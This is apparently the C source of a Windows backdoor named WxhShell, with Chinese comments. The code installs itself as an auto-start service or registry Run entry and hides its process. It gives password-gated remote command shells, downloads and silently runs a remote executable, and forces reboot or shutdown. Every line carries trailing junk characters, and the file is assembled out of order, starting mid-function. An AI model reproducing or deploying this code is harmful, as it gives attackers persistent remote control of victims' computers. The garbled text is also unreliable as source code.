    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;cN{a&  
    if(Boot(SHUTDOWN)) >[=^_8M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9j:"J` '  
    else { < F+l  
    closesocket(wsh); C/6V9;U  
    ExitThread(0); :'*~uJrR  
    } 3y8G?LL/[7  
    break; 9\JF`ff_  
    } r#] WI|  
  // 获取shell $,Yd>%Y  
  case 's': { `XEr(e9  
    CmdShell(wsh); pgZXJ  
    closesocket(wsh); Sa;qW3dt3E  
    ExitThread(0); tS8u  
    break; ?o#%Xs  
  } ?zHPJLv|Y  
  // 退出 L<{i ,'M  
  case 'x': { ThbGQ"/  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); zi*R`;_`,  
    CloseIt(wsh); naznayy  
    break; .$)  
    } *>qp:;,DKP  
  // 离开 H@8sNV/u  
  case 'q': { gn".u!9j  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); m<"WDU?y;  
    closesocket(wsh); HYSIN^<oy  
    WSACleanup(); tr}Loq\y  
    exit(1); *CTlOy  
    break; F,)%?<!I  
        } j*TYoH1  
  } __GqQUQ  
  } VUR|OV%  
|02gupqqi  
  // 提示信息 i|*)I:SHU  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ocS5SB]8  
} \<TXS)w]  
  } G..aiA  
0o*8#i/)!3  
  return; 6-B|Y3)B  
} ):_\;.L  
_1!OlQ  
// shell模块句柄 HLaRGN3,  
int CmdShell(SOCKET sock) (7=!+'T"  
{ RxWVe-Dg  
STARTUPINFO si; K':;%~I  
ZeroMemory(&si,sizeof(si)); o@i#|kx,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6 EC*   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  l(tOe  
PROCESS_INFORMATION ProcessInfo; 6?~"V  
char cmdline[]="cmd"; G@jZ)2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :~N-.#  
  return 0; ly_HWuFJ3  
} 3H6lBF  
Bj-: #P@  
// 自身启动模式 _k ~KZ;l  
int StartFromService(void) l &5QZI0I  
{ 1--C~IjJ+  
typedef struct A='N=^Pm  
{ y^v6AM  
  DWORD ExitStatus; 0rG^,(3m  
  DWORD PebBaseAddress; `gf0l /d  
  DWORD AffinityMask; D}8[bWF  
  DWORD BasePriority; 8MzVOF{"  
  ULONG UniqueProcessId; )@Yf]qx+Y<  
  ULONG InheritedFromUniqueProcessId; OGg>#vj,s  
}   PROCESS_BASIC_INFORMATION; po Vx8oO8  
bU:EqW\(^  
PROCNTQSIP NtQueryInformationProcess; -^h' >.  
fnX`Q[b4\A  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6'G6<8 >-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Jx](G>F4f1  
yS(fILV  
  HANDLE             hProcess; 8sM|%<$=j  
  PROCESS_BASIC_INFORMATION pbi; n+q!l&&  
OJ5#4qJ[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^^as'Dk  
  if(NULL == hInst ) return 0; }Nm#q@o$P  
jiS_G%G  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6vNrBB  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %Iv,@}kvT+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); S:oi< F  
:AF =<X*5  
  if (!NtQueryInformationProcess) return 0; ;=; 9tX  
{rH@gz|@i  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); :LRYYw  
  if(!hProcess) return 0;  SVs_dG$  
%9N7Ln|%  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; i}mVQ\j5  
RcM/!,B  
  CloseHandle(hProcess); 2Mvrey)  
F9E<K]7K  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,<tX%n`v=  
if(hProcess==NULL) return 0; n; +LH9  
Hmd] FC,_  
HMODULE hMod; b#toM';T  
char procName[255]; X#TQ_T"  
unsigned long cbNeeded; _%!c+f7  
* @v)d[z_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); QWSTR\!  
.C( eh   
  CloseHandle(hProcess); >qjq=Ege  
F{Jw ^\  
if(strstr(procName,"services")) return 1; // 以服务启动 N OiN^::m  
,p2s:&"  
  return 0; // 注册表启动 KgiJUO`PR  
} Yu[ t\/  
`W:%mJd9  
// 主模块 ?:8ido#-  
int StartWxhshell(LPSTR lpCmdLine) +*T7@1  
{ Dhw(#{N  
  SOCKET wsl; UU mTOJr  
BOOL val=TRUE; $M lW4&a|  
  int port=0; Ax?y  
  struct sockaddr_in door; O%(fx!c`  
kabnVVn~  
  if(wscfg.ws_autoins) Install(); uK$9Ll{lk  
q[`]D7W "  
port=atoi(lpCmdLine); !tMuuK?IL=  
BJB^m|b)  
if(port<=0) port=wscfg.ws_port; D2!X?"[ P  
UAFwi%@!-q  
  WSADATA data; x:>wUhzZ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; E^lvbLh'  
Wm"4Ae:B  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   + SFVv_n  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); I)cFG{~L  
  door.sin_family = AF_INET; d + /&?3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); wNtx]t_M  
  door.sin_port = htons(port); c5l.B#-lY  
{VvqO7A  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { cU@SIJ)  
closesocket(wsl); [}/LD3  
return 1; 28H8l2{[>  
} (?`kYTw7g'  
\h DdU+  
  if(listen(wsl,2) == INVALID_SOCKET) { z4+k7a@jn  
closesocket(wsl); [16cFqD  
return 1; <2|O:G  
} Q6AC(n@:FV  
  Wxhshell(wsl); 8XzR wYV  
  WSACleanup(); wztA3ZL*W1  
H!nr^l'+  
return 0; `m>*d!h=  
##;Er47@^  
} 65p?Igb  
#H{<gjs]  
// 以NT服务方式启动 %K` % *D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Y/ee~^YxK'  
{ `m?c;,\  
DWORD   status = 0; qT"Q1xU[  
  DWORD   specificError = 0xfffffff; Jd(,/q  
| 8=nL$u  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,:`4%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; jJY"{foWV  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _$f9]bab  
  serviceStatus.dwWin32ExitCode     = 0; ]*FVz$>XM  
  serviceStatus.dwServiceSpecificExitCode = 0; vj\dA2!~  
  serviceStatus.dwCheckPoint       = 0; U{z9>  
  serviceStatus.dwWaitHint       = 0; *@Y3oh}S  
6s\Kt3=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !n$tr  
  if (hServiceStatusHandle==0) return; /yF QeE  
0 79'(%  
status = GetLastError(); H(2]7dRS%  
  if (status!=NO_ERROR) a{J,~2>  
{ Eam  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }_;!hdY q  
    serviceStatus.dwCheckPoint       = 0; g'=B%eO$j:  
    serviceStatus.dwWaitHint       = 0; . I'o  
    serviceStatus.dwWin32ExitCode     = status; c`WHNky%j  
    serviceStatus.dwServiceSpecificExitCode = specificError; (v|} \?L  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); WxJf{=-  
    return;  2KN6}  
  } ;M#_6Hd?qD  
O:"*q&;J  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =gvBz| +  
  serviceStatus.dwCheckPoint       = 0; (85Fv&a  
  serviceStatus.dwWaitHint       = 0; IWveW8qJ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); E3l> 3  
} 13%t"-@bh  
f=!VsR2o  
// 处理NT服务事件,比如:启动、停止 {g~bQ2wDC  
VOID WINAPI NTServiceHandler(DWORD fdwControl) z=_Ef3`M  
{ \, &co  
switch(fdwControl) .G(llA}  
{ f0<%&2ym  
case SERVICE_CONTROL_STOP: ]oV{t<0a  
  serviceStatus.dwWin32ExitCode = 0; QgD g}\P  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; nJ"YIT1K]p  
  serviceStatus.dwCheckPoint   = 0; ]%Nlv(  
  serviceStatus.dwWaitHint     = 0; H_Kj7(=&>  
  { ?wF'<kEH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |),'9  
  } Qb; d:@9  
  return; M=*bh5t%]  
case SERVICE_CONTROL_PAUSE: x^y"<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ''^Y>k  
  break; "/6:6`J  
case SERVICE_CONTROL_CONTINUE: =w5O&(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; U_$qi  
  break; ZA9sTc[ g  
case SERVICE_CONTROL_INTERROGATE: )d-.M  
  break; :%AL\ n  
}; sf|ke9-3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6uKMCQ=h  
} -0eq_+oQ  
5"]~oPK  
// 标准应用程序主函数 P"?FnTbv[  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7Wa?$6d  
{ [NIlbjYH  
?@t  d  
// 获取操作系统版本 pD2<fP_  
OsIsNt=GetOsVer(); ,7)C"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); RQB]/D\BO  
#nO|A\N  
  // 从命令行安装 j.ldaLdG  
  if(strpbrk(lpCmdLine,"iI")) Install(); kR@Yl Yo  
G #T<`>T  
  // 下载执行文件 B_l{<  
if(wscfg.ws_downexe) { m6yIR6H  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8W+gl=C~  
  WinExec(wscfg.ws_filenam,SW_HIDE); JwRF(1_sM  
} `)h6j)xiQ  
J~iBB~x.  
if(!OsIsNt) { p!V>XY'N^  
// 如果时win9x,隐藏进程并且设置为注册表启动 M9f?q.Bv  
HideProc(); ror|R@;y  
StartWxhshell(lpCmdLine); %Lrd6i_j  
} f0SAP0M3  
else T<joR R  
  if(StartFromService()) 0T5=W U  
  // 以服务方式启动 =!UR=Hq  
  StartServiceCtrlDispatcher(DispatchTable); /.eeO k  
else ?Xo*1Z =  
  // 普通方式启动 <0.$'M~E  
  StartWxhshell(lpCmdLine); C*te^3k>B  
`L5~mb;7*  
return 0; I.@hW>k  
} A[dvEb;r  
 \^K&vW;  
xwZ8D<e-,  
Yy JPHw)Z  
=========================================== $BDBN_p  
$W42vjr4  
C#=bW'C  
sz):oea@f@  
7"*|2Xq  
L]hXp t  
" 5ZPzPUa8~  
desThnT w  
#include <stdio.h> w_4]xgS:  
#include <string.h> =AEz9d ciS  
#include <windows.h> eL.7#SIr}  
#include <winsock2.h> NO K/<_/  
#include <winsvc.h> HFQR ;9]  
#include <urlmon.h> rJ'I>Q~x6  
o:dR5v  
#pragma comment (lib, "Ws2_32.lib") }2r+%V&4  
#pragma comment (lib, "urlmon.lib")  5q<zN  
^Ori| 4}'  
#define MAX_USER   100 // 最大客户端连接数 a>B[5I5  
#define BUF_SOCK   200 // sock buffer DrvtH+e  
#define KEY_BUFF   255 // 输入 buffer m:O(+Fl  
-(JUd4#  
#define REBOOT     0   // 重启 {,j6\Cj4  
#define SHUTDOWN   1   // 关机 Pe~`16f  
k)FmDX  
#define DEF_PORT   5000 // 监听端口 kF V7l  
6Bm9?eU0  
#define REG_LEN     16   // 注册表键长度 6`"M  
#define SVC_LEN     80   // NT服务名长度 SnTDLa  
])#\_' fg  
// 从dll定义API + f;CyMEp  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); kao}(?x%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); '!Kf#@';u  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); x q-$\#O  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); nxap\Lf  
$ Cjk  
// wxhshell配置信息 3Gr&p6  
struct WSCFG { D 0]a\,aZ  
  int ws_port;         // 监听端口 g#K'6VK{  
  char ws_passstr[REG_LEN]; // 口令 D~&Mwsi  
  int ws_autoins;       // 安装标记, 1=yes 0=no iY/KSX^~O  
  char ws_regname[REG_LEN]; // 注册表键名 o8FXqTUcs4  
  char ws_svcname[REG_LEN]; // 服务名 k6?cP0I)5  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <<|H=![  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 qq0?e0H  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Y &r]lD  
int ws_downexe;       // 下载执行标记, 1=yes 0=no h#Ce_,o  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Cw,D{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 h:Ndzp{  
{-63/z  
}; _2mNTJiw  
vV`|!5x  
// default Wxhshell configuration C;\VO)]t  
struct WSCFG wscfg={DEF_PORT, 9;r? nZT/  
    "xuhuanlingzhe", g42R 'E%  
    1, |AH@ EI>  
    "Wxhshell", TL)O-  
    "Wxhshell", gS"Q=ZK"  
            "WxhShell Service", r7!J&8;{K  
    "Wrsky Windows CmdShell Service", JK~ m(oQ  
    "Please Input Your Password: ", )3muPMaY  
  1, $ A-b vL  
  "http://www.wrsky.com/wxhshell.exe", F}rPY:  
  "Wxhshell.exe" 4W\,y_Q o  
    }; XqR{.jF.  
T"E(  F  
// 消息定义模块 02]xJo  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; JFqf;3R  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "gNK><  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; < 3 j~=-  
char *msg_ws_ext="\n\rExit."; hK}bj  
char *msg_ws_end="\n\rQuit."; ]s|lxqP  
char *msg_ws_boot="\n\rReboot..."; G\Q9IcJ0dY  
char *msg_ws_poff="\n\rShutdown..."; ^^$vR[7  
char *msg_ws_down="\n\rSave to "; #Y,A[Y5jX  
>e8JK*Blz  
char *msg_ws_err="\n\rErr!"; bv\ A,+  
char *msg_ws_ok="\n\rOK!"; Zy wK/D  
IB7tAG8  
char ExeFile[MAX_PATH]; T2Z[AvNXFk  
int nUser = 0; <e6=% 9  
HANDLE handles[MAX_USER]; {=At#*=A  
int OsIsNt; G79C {|c\  
J/4y|8T/y  
SERVICE_STATUS       serviceStatus; Q.(51]'  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; u5gZxO1J5  
2A$0CUMb  
// 函数声明 ~2N-k1'-'  
int Install(void); 2%]hYr;  
int Uninstall(void); coB6 rW  
int DownloadFile(char *sURL, SOCKET wsh); x|apQ6  
int Boot(int flag); %9c|%#3  
void HideProc(void); }?O[N}>,m  
int GetOsVer(void); Yn[x #DS  
int Wxhshell(SOCKET wsl); Jc~E"x  
void TalkWithClient(void *cs); T=? bdIl  
int CmdShell(SOCKET sock); .w FU:y4r  
int StartFromService(void); '}O!2W&Y]%  
int StartWxhshell(LPSTR lpCmdLine); PF ;YE6  
cy:;)E>/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 8 G?b.NE^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); V}`M<A6:  
*t =i  
// 数据结构和表定义 '=%i,  
SERVICE_TABLE_ENTRY DispatchTable[] = 7L{li-crI  
{ p6blD-v  
{wscfg.ws_svcname, NTServiceMain}, !=M/j}  
{NULL, NULL} 2v|qLf e1  
}; rZ866\0  
Kpu<rKP`  
// 自我安装 j-P^Zv};u  
int Install(void) (/q}mB  
{ t+}uIp42<  
  char svExeFile[MAX_PATH]; aVK()1v]  
  HKEY key; [>uwk``_  
  strcpy(svExeFile,ExeFile); 5~yb ~0  
Fi{mr*}  
// 如果是win9x系统,修改注册表设为自启动 ]]V^:"ne  
if(!OsIsNt) { anZIB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z)v)\l9d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0P:F97"1,  
  RegCloseKey(key); 'j /q76uXV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <<BQYU)Ig  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lIy/;hIc  
  RegCloseKey(key); 2?*1~ 5~I  
  return 0; ` t\z   
    } pFH?/D/q  
  } L9'-  
} lWl-@ *'  
else { w})NmaT;YF  
`hF;$  
// 如果是NT以上系统,安装为系统服务 g Np-f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?hSha)1:  
if (schSCManager!=0) 2vXGO|W  
{ uk{J@&F  
  SC_HANDLE schService = CreateService G+Ei#:W,  
  ( ;G$)MS'nB  
  schSCManager, 9l=Fv6  
  wscfg.ws_svcname, }moz9a  
  wscfg.ws_svcdisp, #y`k$20"  
  SERVICE_ALL_ACCESS, e6es0D[>5  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , - coy@S=.'  
  SERVICE_AUTO_START, K#U{<pUP  
  SERVICE_ERROR_NORMAL, E#~2wqK  
  svExeFile, Gm*Uv6?H?  
  NULL, ht$ WF  
  NULL, D1~^\)*  
  NULL, [b pwg&Oo  
  NULL, pgfu+K7?w  
  NULL "] 9_Fv  
  ); &*c'uN w  
  if (schService!=0) Bzm. X=U:  
  { 8I {56$  
  CloseServiceHandle(schService); 9w$7VW;  
  CloseServiceHandle(schSCManager); Ty iU1,oO  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [EcV\.  
  strcat(svExeFile,wscfg.ws_svcname); 4}PeP^pj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6A@Lj*:2m  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); VG#$fRrZ  
  RegCloseKey(key); :EaiM J_=  
  return 0; :=B[y D!  
    } nR#a)et  
  } a#6,#Q"  
  CloseServiceHandle(schSCManager); A9.;>8!u  
} FrgV@4'2G  
} Bzwx0c2VY8  
qIUC2,&g  
return 1; zVn*!c  
} GHqBnE{B  
vzQyE0T/  
// 自我卸载 @Yb Z 8Uc  
int Uninstall(void) Hm<M@M$aG  
{ -<12~HKK::  
  HKEY key; gtl;P_  
aSxG|OkKy  
if(!OsIsNt) { Ny[s+2?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "Vq@bNtu+  
  RegDeleteValue(key,wscfg.ws_regname); y>&VtN{E  
  RegCloseKey(key); )<tzm'Rc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8:BQHYeJK  
  RegDeleteValue(key,wscfg.ws_regname); oO}>i0ax*  
  RegCloseKey(key); X$ejy/+.  
  return 0; s:G [Em1  
  } gx&\Kw6HM  
} N_*u5mfQX  
} TosPk(o(  
else { tgS+" ugl  
-!JlM@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); W=!F8g|Qz  
if (schSCManager!=0) W=(MsuirO  
{ ~m3V]v(q7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @ICejB<  
  if (schService!=0) =k_XKxd  
  { 2M5*bNU_:  
  if(DeleteService(schService)!=0) { WCWSLEAza  
  CloseServiceHandle(schService); '&1  
  CloseServiceHandle(schSCManager); u>j5`OXo  
  return 0; qb 46EZu  
  } .)?2)Fl  
  CloseServiceHandle(schService); =ulr_i%Xs  
  } / N*HE  
  CloseServiceHandle(schSCManager); f45;fT>   
} &8o  :  
} |q9,,i}!  
c4S>_qH  
return 1; o x03c   
} 19pND m2H1  
Gl d H SCy  
// 从指定url下载文件 )+VHt  
int DownloadFile(char *sURL, SOCKET wsh) 5>0\e_V  
{ A)~ /~  
  HRESULT hr; 5? S{W  
char seps[]= "/"; :4Id7Ce  
char *token; _wIBm2UO  
char *file; s,{RP0|  
char myURL[MAX_PATH]; Y8{T.\%\+  
char myFILE[MAX_PATH]; >}xAg7\^  
w50.gr7  
strcpy(myURL,sURL); I%.jc2kK  
  token=strtok(myURL,seps); & bp#1KR)  
  while(token!=NULL) ~m009  
  { f]{1ZU%4  
    file=token; |8&\N  
  token=strtok(NULL,seps); >F_qa=t%[  
  } g>d7%FFn}  
1oXz[V  
GetCurrentDirectory(MAX_PATH,myFILE); Ew)n~!s  
strcat(myFILE, "\\"); &/z+A{Hi  
strcat(myFILE, file); Z{8exym  
  send(wsh,myFILE,strlen(myFILE),0); HMl!?%%  
send(wsh,"...",3,0); d;*OO xQV  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); jb#1&L 14  
  if(hr==S_OK) 5#N"WHz!  
return 0; w%%6[<3%  
else QE`:jxyad  
return 1; ~ 4p]E'b  
V NJDl  
} UeutFNp  
e3oYy#QNk  
// 系统电源模块 G!> iqG  
int Boot(int flag) /ynKKJx<Y  
{ >llwNT  
  HANDLE hToken; &Sa_%:*D(  
  TOKEN_PRIVILEGES tkp; \.XT:B_  
tk] _QX %  
  if(OsIsNt) { Lqz}&A   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); qcpG}o+&D  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }R?v"6aBS  
    tkp.PrivilegeCount = 1; lN*1zM<6;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \ (3Qqbw  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); u(TgWp5WF  
if(flag==REBOOT) { 0%q{UW2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^=heen<S%  
  return 0; [<@A8Q5,y  
} 8\W3Fv Q  
else { n9mM5H47  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ImT+8p a  
  return 0; rTm>8et  
} 0k. #  
  } WsK"^"Z  
  else { CBz(hCaI  
if(flag==REBOOT) { etQx>U  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )f:!#v(K  
  return 0; X=*Yzz}  
} x3p;H02i\  
else { =F!",a~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :"y7Weh  
  return 0;  ?fqkM  
} h!X'SGK  
} ->RF`SQu  
nEa'e5 lg  
return 1; +0JH"L5!  
} Pv/%s) &y&  
)0 42?emn  
// win9x进程隐藏模块 ,]>`guD V  
void HideProc(void) sEgeS9a{  
{ qQ?,|4)y  
t Sh}0N)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); fs)q7 7g  
  if ( hKernel != NULL ) Jte:l:yjtA  
  { jmZ|b6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `*2*xDuP  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); zei9,^ C  
    FreeLibrary(hKernel); b|V4Fp  
  } D^T7pO  
BSq;R G(  
return; L2V $%*6  
} aLyhxmn ^)  
d q+7K  
// 获取操作系统版本 VUg~[  
int GetOsVer(void) d9Ow 2KrC  
{ qkR,<"C|`  
  OSVERSIONINFO winfo; y>pq*i  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); t"Vr;0!{  
  GetVersionEx(&winfo); EL)/5-=S  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) l52n/w#qFB  
  return 1; b`={s  
  else Y&cjJ`rw  
  return 0; R y*I~<m  
} uN? O*h/(  
:Jsz"vCg&s  
// 客户端句柄模块 Nf?, _Rl  
int Wxhshell(SOCKET wsl) VdN+~+A:  
{ T\b";+!W  
  SOCKET wsh; si"mM>e  
  struct sockaddr_in client; *{p& Fy55  
  DWORD myID; 'zD;:wT  
w|UKMbRMU]  
  while(nUser<MAX_USER) .of:#~  
{ 1SJHX1CxX  
  int nSize=sizeof(client); =LeVJGF  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Wp~4[f`,  
  if(wsh==INVALID_SOCKET) return 1; JEkIbf?=r  
(qc!-Isd~[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); DoPF/m}  
if(handles[nUser]==0) I5<#SW\a?  
  closesocket(wsh); Hh'14n&W  
else %n`iA7j$W  
  nUser++; Xk9r"RmiOb  
  } 77bZ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Lq8Z!AIw>  
] F) -}  
  return 0; NcY0pAR*  
} F~0%j}ve  
N~K)0RETn  
// 关闭 socket YC,.Y{oY{  
void CloseIt(SOCKET wsh) tEs[zo+DR-  
{ VA&OI;=ri  
closesocket(wsh); fylA 0{  
nUser--; c%,6L<[  
ExitThread(0); +\(ay"+ d  
} s)'_{ A"h  
`] dx%  
// 客户端请求句柄 {p_vR/ yN  
void TalkWithClient(void *cs) dmMr8-w  
{ # *aGzF  
tH|Q4C  
  SOCKET wsh=(SOCKET)cs; A ** M"T  
  char pwd[SVC_LEN]; <cS7L0h  
  char cmd[KEY_BUFF]; oB}G^t  
char chr[1]; Rb>RjHo S  
int i,j; :@807OYzy  
1AEVZ@(j7  
  while (nUser < MAX_USER) { <}'B-k9  
M[3w EX^  
if(wscfg.ws_passstr) { JX,#W!d  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #WmAkzvq  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9QQ@Y}  
  //ZeroMemory(pwd,KEY_BUFF); CR PE?CRQF  
      i=0; :W<,iqSCm  
  while(i<SVC_LEN) { WHj4#v(  
C-b%PgA  
  // 设置超时 $j2)_(<A%Q  
  fd_set FdRead; +mW$D@Pf  
  struct timeval TimeOut;  #=~1hk  
  FD_ZERO(&FdRead); TOF62,  
  FD_SET(wsh,&FdRead); 3V!&y/c<  
  TimeOut.tv_sec=8; D$!p+Q  
  TimeOut.tv_usec=0; + T-zf@j  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); NF.6(PG|  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); V +<AG*[  
7Mg7B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }Z$G=;3#  
  pwd=chr[0]; L<>NL$CrN  
  if(chr[0]==0xd || chr[0]==0xa) { ] Sx= y<  
  pwd=0; |DS@90}  
  break; F?AfB[PM  
  } l7y`$8Co  
  i++; )0V]G{QN  
    } 6@*;Wk~  
`Ta(P30  
  // 如果是非法用户,关闭 socket  KGwL09)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); \ #c+vfq  
} r!gCh`PiK  
b2kbuk]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); dC|#l?P  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #$rT 4N c;  
$P9$ ,w4  
while(1) { wgP3&4cSUc  
6i=wAkn_J  
  ZeroMemory(cmd,KEY_BUFF); pXEVI6 }  
${,eQ\  
      // 自动支持客户端 telnet标准   Z8 n%=(He  
  j=0; W$&Ets8zo  
  while(j<KEY_BUFF) { /;m!>{({)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >w#3fTJ  
  cmd[j]=chr[0]; n\al}KG  
  if(chr[0]==0xa || chr[0]==0xd) { T eTOj|  
  cmd[j]=0; 9s6lt#?b  
  break; [|O6n"'  
  } {+mkXp])R  
  j++; \@" . GM%  
    } XFAt\g  
BjJ gQ`X  
  // 下载文件 CKw)J}z  
  if(strstr(cmd,"http://")) { <Y'YpH`l  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); w3UJw  
  if(DownloadFile(cmd,wsh)) _ShJ3\,K  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); CPE F,,\  
  else )@|Fh@|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MpvA--  
  } 9f[[%80  
